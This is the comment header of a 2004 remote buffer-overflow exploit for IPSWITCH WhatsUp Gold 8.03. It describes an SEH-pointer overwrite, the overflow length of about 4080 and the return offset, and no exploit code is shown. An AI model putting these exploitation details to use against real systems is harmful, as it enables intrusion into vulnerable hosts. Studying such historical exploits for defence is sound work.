# ================================================
#  IPSWITCH WhatsUp Gold ver8.03 Remote Buffer Overflow Exploit
# ================================================
#
# Exploit by ET LoWNOISE  Colombia 
# et(at)cyberspace.org
# Oct/2004
# 
# Tested on WIN2K SP4 
#
# The exploit takes control by overwriting the pointer of a Structured Exception Handler, 
# installed by WhatsUP and points to a routine that handles exceptions.
# (http://www.thc.org/papers/Practical-SEH-exploitation.pdf Johnny Cyberpunk THC)
#
# The overflow string has to be around 4080 in length to generate an exception that can
# be manipulated by changing the SEH pointer (ret [815]).
